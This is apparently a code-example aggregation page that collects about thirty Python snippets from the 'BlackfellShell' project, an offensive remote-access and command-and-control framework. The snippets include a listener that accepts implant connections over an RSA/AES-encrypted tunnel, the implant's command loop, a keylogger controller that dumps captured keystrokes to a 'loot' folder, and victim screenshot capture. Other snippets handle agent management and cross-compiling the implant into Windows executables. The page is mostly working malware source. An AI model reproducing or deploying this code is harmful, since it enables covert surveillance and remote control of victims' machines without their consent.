コード例 #1
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def CRYPTSETUP(self):
        """Sets up an encrypted tunnel to the dropper, by generating
        an AES key and encrypting it with the droppers ephemeral public key"""

        #Receive the RSA key from implant
        recv = b''
        while True:
            chunk = self.s.recv(2048)
            recv += chunk
            if len(chunk) < 2048:
                break
        #Import it and send AES key back
        try:
            self.CLNT_PUB_KEY = RSA.import_key(b64decode(recv))
            #bc.info("Got public key : {}".format(self.CLNT_PUB_KEY.exportKey()), True)
            #Encrypt our AES Key with this public key and send back
            self.AES_KEY = Random.get_random_bytes(32)  #256 bit random key
            #bc.info("Created AES Key : {}".format(self.AES_KEY))
            encryptor = PKCS1_OAEP.new(self.CLNT_PUB_KEY)
            ciphertext = b64encode(encryptor.encrypt(self.AES_KEY))
            self.s.send(ciphertext)
            success = self.recv(string=True, print_flag=False)
            if 'success' in success:
                #bc.info("Got implant success message")
                self.send('success')
                #bc.info("Sent listnere success message.")
                return True
        except Exception as e:
            bc.err("Exception setting up crypto : {}".format(e))
            bc.err("Msy not have received proper RSA key from implant {}:\n {}".format(
                    self.name, self.CLNT_PUB_KEY))
            return False
コード例 #2
0
ファイル: keylog.py プロジェクト: Blackfell/BlackfellShell
def main(agent, args=None):
    """Main function to start, stop and interact with key logging threads"""

    try:
        #get settings
        #bc.info("gitting the settings now: {}".format(args))
        settings = parse_args(agent, args)
        if not settings:
            bc.warn("Error parsing arguments, settings : {}".format(settings))
            return
        #Check Settings
        if settings['show'] and not settings['dump']:
            bc.warn("Cannot show keylog dump without --dump (-d) command")
            return
        if settings['dump'] and (settings['start'] or settings['kill']):
            bc.warn("Cannot dump alongside start/stop operations.")
            return
        #Get the agent to do the thing
        agent.send('keylog ' + str(args))

        if settings['dump']:
            if get_keylog_dump(agent, settings['show']):
                agent.recv(print_flag=True, blocking=True)
            else:
                #Warning already printed
                bc.err("Failed dump, getting message from implant")
                agent.recv(print_flag=True, blocking=True)
                return
        else:
            agent.recv(print_flag=True)
    except Exception as e:
        bc.err("Exception in agent {} keylogger : {}".format(agent.name, e))
コード例 #3
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
 def run(self):
     """The main function called when the module executes"""
     #Override with what to do with this class when it runs
     exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA = [
         i['value'] for i in self.options.values()
     ]
     l = lnr.BSTCPListener(
         exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name,
         RSA)  #TODO - put listener resources in the right place!
     l.start()
     time.sleep(1.5)  #Wait for thread to start
     if l.success == True:
         self.root_menu.listeners.append(l)
         bc.success("Module executed.")
     else:
         bc.err(
             "Run, but success flag not set. Check your listener status!")
         try:
             self.root_menu.listeners.append(l)
         except Exception as e:
             bc.warn("Could not register listener.")
     if self.get_option(
             'exit_on_exec'
     ) and l.success:  #Add success criteria - we want to stay in if fail
         return True
     else:
         #Also - increment listener ID so we can crank out many more!!
         self.set_option(
             'name',
             "listener-{}".format(len(self.root_menu.listeners) + 1))
         return False
コード例 #4
0
    def CRYPTSETUP(self, args=None):
        """Configure and start the encrypted tunnel with the listener"""

        try:
            self.RSA_KEY = RSA.generate(2048)
            pub_key = self.RSA_KEY.publickey().exportKey()
            print("DEBUG - generated public key : {}".format(pub_key))
            #WE can't use builtin resp() yet because no crypto
            self.s.send(b64encode(pub_key))
            enc_AES = self.s.recv(1024)
            decryptor = PKCS1_OAEP.new(self.RSA_KEY)
            self.AES_KEY = decryptor.decrypt(b64decode(enc_AES))
            bc.success("Got AES Key : {}".format(self.AES_KEY))
            #Destroy RSA Key
            del (self.RSA_KEY)
            bc.info("Sending success message!")
            self.send("success")
            resp = self.recv(string=True)
            bc.info("Got success message back off C2, now to test it.")
            if "success" in resp:
                bc.success("Cryptsetup success!!")
                return True
            else:
                bc.err("Crypto setup failed, response: {}".format(resp))
                raise ValueError("No success message received from listener")
        except Exception as e:
            bc.err("Exception setting up crypto : {}.".format(e))
            return False
コード例 #5
0
def main(agent, args=None):
    """Order and receive screenshots from dropper, displays if requested"""

    try:
        settings = parse_args(agent, args)
        if not settings:
            bc.err("Error parsing args : {}".format(settings))
            return
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png'
        #receive the file!
        gotsz = False
        raw_bytes = b''

        #Get the agent to screenshot
        agent.send('screenshot')
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    continue
                if not gotsz:
                    size = chunk[8:].decode()  #Size tuple as string
                    size = (int(size.split(',')[0]), int(size.split(',')[1]))
                    gotsz = True
                    #print("DEBUG - Img size : {}".format(size))
                elif chunk.endswith(b'<BSEOF>'):
                    raw_bytes += chunk[:-7]
                    break
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Download screnshot chunk failed because : {}. Try again?".
                    format(e))
                break

        #Reconstruct the image from raw raw bytesb
        bc.info("Reconstructing image.")
        img = Image.frombytes('RGB', size, raw_bytes)

        if settings['show']:
            img.show()
        img.save(file_name)
        img.close()

        bc.green_print(
            "\n[+] ",
            "{} - screenshot saved to : {}".format(agent.name, file_name))
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Screenshot failed : {}".format(agent.name, e))
        #Flush socket
        chunk = b''
        while b'<BSEOF>' not in chunk:
            chunk = agent.recv(print_flag=False, blocking=False)
コード例 #6
0
 def get_command(self):
     recv_command = self.recv()
     if recv_command:
         recv_command = recv_command.decode().split(' ')
         self.cmd = recv_command[0]
         self.args = ' '.join(recv_command[1:])
     else:
         bc.err("Failed to get command from C2.")
         self.cmd = self.args = ''
コード例 #7
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def REGISTER(self):
        """Gives the agent its name and elicits a response, acts as
        a general comms check too"""

        self.send('REGISTER ' + self.name)
        success = self.recv(print_flag=False, string=True)
        if not success or (not 'Registered' in success):
            bc.err("Client side registration failed for : {}\nsucess :{}".format(
                    self.name, success))
        else:
            bc.success("{} Registered.".format(self.name), True)
コード例 #8
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def ping(self, args=None):
        """connectivity test between agent and dropper"""

        if args:
            self.send('ping ' + str(args))
        else:
            self.send('ping')
        resp = self.recv(print_flag=False, string=True)
        if 'PONG' in resp:
            bc.success("PONG{}- response from {}".format(resp[4:], self.name))
        else:
            bc.err("No PONG from {}\n instead: {}".format(self.name, resp))
コード例 #9
0
ファイル: home.py プロジェクト: Blackfell/BlackfellShell
    def generate_key(self):
        """Generate an RSA key for the shell."""

        q = "No valid key found at: {}, create one? [y/n] : ".format(
            self.global_options['RSA_KEY'])
        if input(q).lower() not in ['y', 'yes', 'ye']:
            bc.err(
                "Encryption operations may fail, try setting RSA key in home menu."
            )
        else:
            key = RSA.generate(2048)
            with open(self.global_options['RSA_KEY'], 'wb') as f:
                f.write(key.export_key('PEM'))
コード例 #10
0
    def run(self):
        """The main function called when a dropper runs"""

        #Retry connections a few times
        for i in range(self.retries):
            try:
                self.connect()
                bc.success("Connected")
                #i = self.retries
                break
            except Exception as e:
                bc.err("Could not connect:\n{}.".format(e))
                time.sleep(self.retry_wait)
                continue

        #Now connected, encrypt:
        bc.info("Setting up encryption")
        if not self.CRYPTSETUP():
            bc.err("Encryption setup failed. Exiting.")
            return

        #Main loop
        while self.run_flag:
            bc.info("Loop start - receiving")
            self.get_command()
            bc.blue_print("[-] ",
                          "- Implant got: {} : {}".format(self.cmd, self.args))
            if self.cmd in self.commands:
                #if self.args:
                print("DEBUG - command {} is in the command list. Yay!".format(
                    self.cmd))
                if self.args:
                    try:
                        self.commands[self.cmd](self.args)
                    except Exception as e:
                        self.send(
                            "ERROR Exception in Implant (with args) :\n{}".
                            format(e))
                        self.cmd = ''
                else:
                    try:
                        self.commands[self.cmd]()
                    except Exception as e:
                        self.send("ERROR Exception in Implant :\n{}".format(e))
                        self.cmd = ''
            else:
                self.send(
                    'ERROR - Command not recognised: {}'.format(self.cmd +
                                                                ' ' +
                                                                self.args))
            bc.info("Command complete - main loop over.")
コード例 #11
0
ファイル: keylog.py プロジェクト: Blackfell/BlackfellShell
def get_keylog_dump(agent, show=False):
    """REceive large amounts of keylog data by looping recieve function"""

    try:
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt'
        #receive the file!
        raw_bytes = b''
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    #bc.info("Empty chunk, passing")
                    continue
                if chunk.endswith(b'<BSEOF>'):
                    chunk = chunk[:-7]
                    raw_bytes += chunk
                    break
                elif b'BSEOF' in chunk:
                    bc.err(
                        'Dump failed, unexpected EOF location in:\n{}.'.format(
                            chunk))
                    raise ValueError("Out of place <BSEOF>")
                    break  #It's all over now
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Keylog dump chunk failed because : {}. Try again?".format(
                        e))
                return
            #gracefully stop download operation
            finally:
                chunk = ''
        #REconstruct the image from raw raw bytes
        dump = degzip(raw_bytes)
        with open(file_name, 'w') as f:
            f.write(dump.decode())
        bc.green_print(
            "\n[+] ",
            "{} - Keylog dump saved to : {}".format(agent.name, file_name))
        if show:
            bc.success("{} keylog data:\n".format(agent.name), False)
            print(dump.decode())
        return True
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Keylog dump failed : {}".format(agent.name, e))
        return False
コード例 #12
0
ファイル: base.py プロジェクト: Blackfell/BlackfellShell
    def onecmd(self, line):
        """Onecmd override to handle resource files and EOFs vis stdin"""

        if line == 'EOF':
            if not self.q['read'].empty() and self.q['read'].get(
            ) == "RESOURCE":
                self.q['write'].put("DONE")
                time.sleep(self.resource_timeout
                           )  #probably end of resource file, so wait
            else:
                bc.err("EOF Received, emergency exiting.")
                sys.exit(0)
        else:
            return super().onecmd(line)
コード例 #13
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def check_RSA_KEY(self):
        """Check if an RSA key exists - future functionality will use this"""

        if not os.path.exists(self.RSA_KEY_FILE):
            return False
        else:
            with open(self.RSA_KEY_FILE) as f:
                try:
                    key = RSA.import_key(f.read())
                    self.RSA_KEY = key
                    return True
                except Exception as e:
                    bc.err("Key: {} not valid : {}".format(self.global_options['RSA_KEY'], e))
                    return False
コード例 #14
0
    def encrypt(self, message):
        """Encrypt strings or bytes objects, always returning bytes"""

        if isinstance(message, str) and message != '':
            message = message.encode()
        if isinstance(message, bytes) and message != b'':
            IV = Random.new().read(AES.block_size)
            encryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV)
            padded_message = Padding.pad(message, AES.block_size)
            encrypted_message = encryptor.encrypt(padded_message)
            return (IV, encrypted_message)
        else:
            bc.err("Unsupported response format : {} len: {} type: {}".format(
                message, len(message), type(message)))
            return False
コード例 #15
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def terminate(self):
        """Kill self and send commands to dropper to do the same"""

        if self.active == False and self.kill_flag.is_set(): #If already terminated, don't continue
            return
        try:
            self.send('terminate')
        except BrokenPipeError:
            bc.err("Terminating. Agent {}, but comms already broken.".format(self.name))
        except Exception as e:
            bc.err("Exception:\n{}".format(e))
        finally:
            self.active=False
            self.kill_flag.set()
            self.command = ''
コード例 #16
0
ファイル: module.py プロジェクト: Blackfell/BlackfellShell
 def check_bool(self, setting):
     """Check boolean values and try and cast a string to boolean"""
     candidate = self.get_option(setting)
     if not isinstance(candidate, bool):
         if candidate == 'False':
             candidate = False
         elif candidate == 'True':
             candidate = True
         else:
             bc.err("exit_on_exec invalid, must be boolean.")
             return False
         self.set_option(setting, candidate)
         return True
     else:
         #It's already bool
         return True
コード例 #17
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
 def pyinstaller_win_2_linux(self, LHOST, LPORT, out_dir, filename):
     try:
         #command = "wine pyinstaller -F -w {}".format(self.src_dir + filename)
         command = "pyinstaller -F -c --paths=./  --distpath {} --workpath {} \
                 --specpath {} {} -n {} {}".format(\
                 self.bin_dir, self.src_dir, self.src_dir,self.hidden_imports, \
                  filename  , 'tmp.py')
         os.system(command)
         output = ''
         if 'pyinstaller: error' in output:
             bc.err("Could not compile :\n{}".format(output))
             return False
     except:
         bc.err("Could not cross compile for windows")
         return False
     return True
コード例 #18
0
ファイル: home.py プロジェクト: Blackfell/BlackfellShell
    def check_key(self):
        """Check that the shell has an RSA key that can be used in
        future functionality"""

        if not os.path.exists(self.global_options['RSA_KEY']):
            self.generate_key()
        else:
            with open(self.global_options['RSA_KEY']) as f:
                try:
                    key = RSA.import_key(f.read())
                    bc.success("RSA Key {} valid.".format(
                        self.global_options['RSA_KEY']))
                except Exception as e:
                    bc.err("Key: {} not valid : {}".format(
                        self.global_options['RSA_KEY'], e))
                    self.generate_key()
コード例 #19
0
    def decrypt(self, IV, message):
        """Decrypts strings or bytes objects, returning bytes objects"""

        print("DEBUG - Decrypting")
        if isinstance(message, str) and message != '':
            message = message.encode()
        if isinstance(message, bytes) and message != b'':
            #IV = cipher[:AES.block_size]
            decryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV)
            decrypted_padded_message = decryptor.decrypt(message)
            decrypted_message = Padding.unpad(decrypted_padded_message,
                                              AES.block_size)
            return decrypted_message
        else:
            bc.err("Unsupported response format : {} len: {} type: {}".format(
                message, len(message), type(message)))
            return False
コード例 #20
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def terminate_agent(self, agent):
        """Kill an individual agent"""

        #print("in terminate agent")
        agt = [a for a in self.agent_list if a.name == agent.name]
        #print("Agents : {}".format(agt))
        if len(agt) < 1:
            bc.warn("Agent : {} not found, can't terminate.".format(agent))
        else:
            for a in agt:
                #a.send_q.put('terminate')
                a.kill_flag.set()
                #print("I set it!")
                agent.join(self.terminate_timeout)
                if agent.is_alive() == 1:
                    bc.err("Could not terminate_agent: {}, continuing.".format(agent.name))
                del(a)
コード例 #21
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
 def py2exe_linux_2_win(self, LHOST, LPORT, out_dir, filename):
     src = []
     src.append("from distutils.core import setup")
     src.append("import py2exe")
     src.append("print('about to run setup')")
     src.append("setup(console=['{}'])".format(self.src_dir + filename + '.py'))
     #src.append("setup(console=['{}'])".format(filename + '.py'))
     with open(self.src_dir + 'setup.py', 'w') as s:
         for line in src:
             s.write(line + '\n')
     #Nopw compile dat file
     try:
         command = "wine py -3.4 {} py2exe".format(self.src_dir + 'setup.py')
         os.system(command)
     except:
         bc.err("Could not cross compile for windows")
         return False
     return True
コード例 #22
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def encrypt(self, message):
        """Encrypts a string  ro bytes objectpassed to it using the
        agents AES key"""

        try:
            if isinstance(message, str) and message != '':
                message = message.encode()
            if isinstance(message, bytes) and message != b'':
                IV = Random.new().read(AES.block_size)
                encryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV)
                padded_message = Padding.pad(message, AES.block_size)
                encrypted_message = encryptor.encrypt(padded_message)
                return (IV, encrypted_message)
            else:
                bc.err("Unsupported response format : {} : {}".format(message, type(message)))
                return False
        except Exception as e:
            bc.err("Encryption failure : {}".format(e))
            return False
コード例 #23
0
    def recv(self, print_flag=True, debug=False, string=False):
        """Receive data from the C2, handles long messages until length <2048
        decrypts and returns everything as bytes or string as per string flag.
        now designed to get any network traffic and store in fifo, then do recv
        from fifo."""

        #get traffic from network and append to recv_buffer
        while True:
            chunk = self.s.recv(2048)
            self.recv_buf += chunk
            if len(chunk) < 2048:
                break
        #parse recv buffer for next message
        #We should have a colon at position 1,
        #another after the 16 byte IV, then another somwhere else again
        if self.recv_buf.count(b':') < 3:
            bc.err("Error, didn't receive at least 1 complete message")
            return False
        elif self.recv_buf.find(b':') > 0 and self.recv_buf.find(
                b':', 1) != AES.block_size + 1:
            bc.err("Receive buffer contains malformed messages!")
            return False
        else:
            #first col already at pos 0 from previous checks
            col1 = 0
            col2 = self.recv_buf.find(b':', 1)
            col3 = self.recv_buf.find(b':', col2 + 1)
            message = self.recv_buf[:col3 + 1]
            self.recv_buf = self.recv_buf[
                col3 + 1:]  #Also remove the message from queue
            if debug:
                bc.info("Encrypted message : {}".format(message))
            IV = b64decode(message[col1 + 1:col2])
            ciphertext = b64decode(message[col2 + 1:col3 + 1])

        #Decryption return either message, or False
        if debug:
            bc.info("IV : {}".format(IV))
        if string:
            return self.decrypt(IV, ciphertext).decode()
        else:
            return self.decrypt(IV, ciphertext)
コード例 #24
0
    def setup(self):
        """Configures and tests the module, anything that sanity checks
        user input can be put in here"""

        #Override this with any pre-module tests you need
        acceptable_colors = ['red', 'orange', 'blue', 'green', None]
        if self.get_option('color') not in acceptable_colors:
            bc.err_print(
                "[!] ",
                "- Color {} invalid - must be set to red, orange, green, blue or None."
                .format(self.options['color'][0]))
            return False
        #Check if we can cast this particular variable to an integer
        try:
            self.set_option('num_prints', int(self.get_option('num_prints')))
        except:
            bc.err(
                "num_prints {} invalid - must be integer. Cannot auto-convert."
                .format(self.options['num_prints'][0]))
            return False
        if not isinstance(self.get_option('num_prints'), int):
            bc.err("num_prints invalid - must be integer.")
            return False
        if not isinstance(self.get_option('message'), str):
            bc.err("num_prints invalid - must be integer.")
            return False
        if not self.check_bool('exit_on_exec'):
            return False

        return True
コード例 #25
0
    def send(self, message, debug=False):
        """Send string to C2, automatically encrypts the data and manages
        conversion of the data to bytes & b64encoded objects before sending."""

        if not message:
            bc.info("No mesasge to send. not sending.")
            return
        try:
            if debug:
                bc.info("Sending {} to {}.".format(message, str(self.name)))
            enc = self.encrypt(message)
            if enc:
                if debug:
                    print("Message - {} IV : {}".format(message, enc[0]))
                    bc.info("Message length : {}".format(len(b''.join(enc))))
                message = b':' + b':'.join(
                    [b64encode(i)
                     for i in enc]) + b':'  #colon IV colon message, colon
                if message:
                    self.s.sendall(message)  #Sendall instead
            else:
                bc.err("Encryption failed in repl function.")
        except BrokenPipeError as e:
            bc.err("Agent {} not responding. Terminating".format(self.name))
            self.terminate()
            bc.warn("Terminate failed, falling back on emergency method.")
            raise Exception("Agent {} dead.".format(self.name))
        except Exception as e:
            bc.err("Failed to send message: {}".format(e))
コード例 #26
0
ファイル: interact.py プロジェクト: Blackfell/BlackfellShell
    def load_methods(self, mod_spec):
        """Actually does the loading of menu methods to the interact menu.
        Not yet really used, but may develop menu methods in future."""

        for method in (i for i in mod_spec['methods'] if i['menu']):
            import_dict = {method['name']: ''}
            filename = mod_spec['load_dir'] + method['menu']
            with open(filename, 'r') as f:
                for line in f:
                    import_dict[method['name']] += line
            imported_mod = importer.bs_import(import_dict)
            for func in imported_mod[1]:
                try:
                    g = getattr(self, func)
                    bc.err(
                        "Error, method already exists in the menu!\n{}".format(
                            g))
                except:
                    #It's not there, let's make it
                    setattr(self, func,
                            MethodType(eval('imported_mod[0].' + func), self))
                    self.methods['do_' + method['name']] = method['help']
コード例 #27
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def decrypt(self, IV, message):
        """Decrypts a string  or bytes objectpassed to it using the
        agents AES key and message IV"""

        try:
            if isinstance(message, str) and message != '':
                message = message.encode()
            if isinstance(message, bytes) and message != b'':
                decryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV)
                #print("made decryptor")
                decrypted_padded_message = decryptor.decrypt(message)
                #print("got padded message")
                decrypted_message = Padding.unpad(
                        decrypted_padded_message, AES.block_size)
                #print("Unpadded")
                return decrypted_message
            else:
                bc.err("Unsupported response format : {} : {}".format(message, type(message)))
                return False
        except Exception as e:
            bc.err("Decryption failure : {}".format(e))
            return False
コード例 #28
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def run(self):
        """Main function run when Agent thread is started"""

        #Initial setup
        if not self.CRYPTSETUP():
            bc.err("Encryption setup failed. Exiting.")
            self.terminate()
            return
        bc.success("Established encrypted session : {}".format(self.name), True)
        self.REGISTER()
        #Main loop
        while True:

            if self.kill_flag.is_set():
                try:
                    self.send('terminate')
                    self.s.shutdown(socket.SHUT_RDWR)
                except Exception as e:
                    pass
                    #bc.warn("Exception in {} after kill flag set {}.".format(self.name, e))
                finally:
                    self.s.close()
                    return

            if self.active:
                if not self.send_q.empty():
                    self.command = self.send_q.get_nowait()  #False non blocking
                    #It's hogging CPU, is the queue maybe full of blank strings?
                    if not self.command:
                        time.sleep(0.5)
                        continue
                    self.do_command()
                    #print("DEBUG - Putting {} in the recv q".format(self.response))
                    #self.recv_q.put(self.response) #actually recieve needs to be managed e.g. file transfers
                time.sleep(0.5)

        bc.warn_print("\n[!] ", "- Agent {} terminated.".format(self.name))
        return
コード例 #29
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def recv(self,  print_flag=True, debug=False, string=False, blocking=True):
        """Receive data from implant, handles decryption of the data and will
                continue to receive until no more data is sent."""

        if debug:
            bc.info("Agent {} receiving data.".format(self.name))

        if not blocking:
            #Sockets should be non-blocking
            self.s.setblocking(0)
            if debug:
                bc.info("Set nonblocking.")
        else:
            self.s.setblocking(1)
            if debug:
                bc.info("Set blocking.")

        #get traffic from network and append to recv_buffer
        try:
            while True:
                chunk = self.s.recv(2048)
                self.recv_buf += chunk
                if len(chunk) < 2048:
                    break
        except socket.error as e:
            err = e.args[0]
            #err, text = e.args
            if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
                #bc.info("No data received by socket in {}".format(self.name))
                if debug:
                    bc.info("No data received by socket in {}".format(self.name))
            else:
                # a "real" error occurred
                bc.err("Socket error in {} receive : {}".format(self.name, e))


        #parse recv buffer for next message
        #We should have a colon at position 1,
        #another after the 16 byte IV, then another somwhere else again
        if self.recv_buf.count(b':') < 3:
            if debug:
                bc.err("Error, no data to rev. Didn't receive at least 1 complete message")
            return False
        elif self.recv_buf.find(b':')>0 and self.recv_buf.find(b':', 1) != AES.block_size + 1:
            bc.err("Receive buffer contains malformed messages!")
            return False
        else:
            #first col already at pos 0 from previous checks
            col1 = 0
            col2 = self.recv_buf.find(b':', 1 )
            col3 = self.recv_buf.find(b':', col2 +1 )
            message = self.recv_buf[:col3 + 1]  #Get message FIFO style
            self.recv_buf = self.recv_buf[col3 + 1:]     #Also remove the message from queue
            if debug:
                bc.info("Encrypted message : {}".format(message))
                bc.info("Decoding IV from : {}".format(message[ col1 + 1 : col2 ]))
            IV = b64decode(message[ col1 + 1 : col2 ])
            ciphertext = b64decode(message[ col2 + 1 : col3 + 1 ])

        #Decryption return either message, or False
        if debug:
            bc.info("IV : {}".format(IV))
        recv = self.decrypt(IV, ciphertext)
        if b'ERROR Exception' in recv:
            bc.err("Exception occured in implant:\n{}".format(recv))
        #Print if flag set
        if print_flag:
            bc.blue_print("\n[+] ", "{} : \n{}".format(self.name, recv.decode()))
        #return string or bytes as requested
        if string:
            if debug:
                bc.info("Recv returning string.")
            return recv.decode()
        else:
            if debug:
                bc.info("Recv returning bytes.")
            return recv
コード例 #30
0
ファイル: bs_tcp.py プロジェクト: Blackfell/BlackfellShell
    def run(self):
        """Main function called when listere thread starts"""

        try:
            #Check RSA key again, never too careful
            if not self.check_RSA_KEY():
                bc.err("RSA Key not valid. If you're stuck reset in home menu.")
                success == False
                raise ValueError("RSA Key invalid")
            bc.info('Starting listener on {}:{}'.format(self.LHOST, self.LPORT), True)  #Strong info
            self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                self.s.bind((self.LHOST, self.LPORT))
                self.s.listen(self.max_conns)      #Listen for max of N connectionsa
                self.success = True
            except Exception as e:
                bc.err_print('[!] ', '- Failed to bind socket : \n {}'.format( str(e)))
                self.s.shutdown(socket.SHUT_RDWR)
                self.s.close()
                return
            while True:
                #'print("DEBUG - Listener looping again!")
                self.s.settimeout(0.5)  #Socket must timeout to enable loop
                if not self.kill_flag.is_set():
                    #Run general COMMANDS
                    if not self.send_q.empty():
                        self.command = self.send_q.get_nowait()  #False non blocking
                        #It's hogging CPU, is the queue maybe full of blank strings?
                        if self.command == '':
                            continue
                        self.do_method()
                    #Handle TCP connection
                    try:
                        c = self.s.accept()    #Timeout on accept so we can read the queue
                        (conn, client_address) = c
                        agt = Agent(self, conn, client_address)
                        agt.name = "agt-"+ self.name + "-" + str(len(self.agent_list) +1)
                        self.agent_list.append(agt)
                        agt.start()
                        bc.blue_print("\n[!] ", "- Agent connected : {}.".format(agt.name))
                        c = None    #So the loop behaves
                    #If no agent in the timeout, let's get q stuff
                    except socket.timeout:
                        pass
                        #Now print anything in the queue:
                        if not self.recv_q.empty():
                            #print("reading q2")
                            resp = self.recv_q.get()
                            #print("reading q3")
                            bc.blue_print("[-] ", "- Received :".format(resp))
                            time.sleep(5) # TODO - remove
                else:
                    self.s.shutdown(socket.SHUT_RDWR)
                    self.s.close()
                    break #Kill thread

        except Exception as e:
            bc.warn_print("[!] ", "- Listener stopped: {}".format(e))
            self.s.shutdown(socket.SHUT_RDWR)
            self.s.close()
            self.success == False
        finally:
            bc.blue_print("[-] ", "- Listener {} terminated.".format(self.name))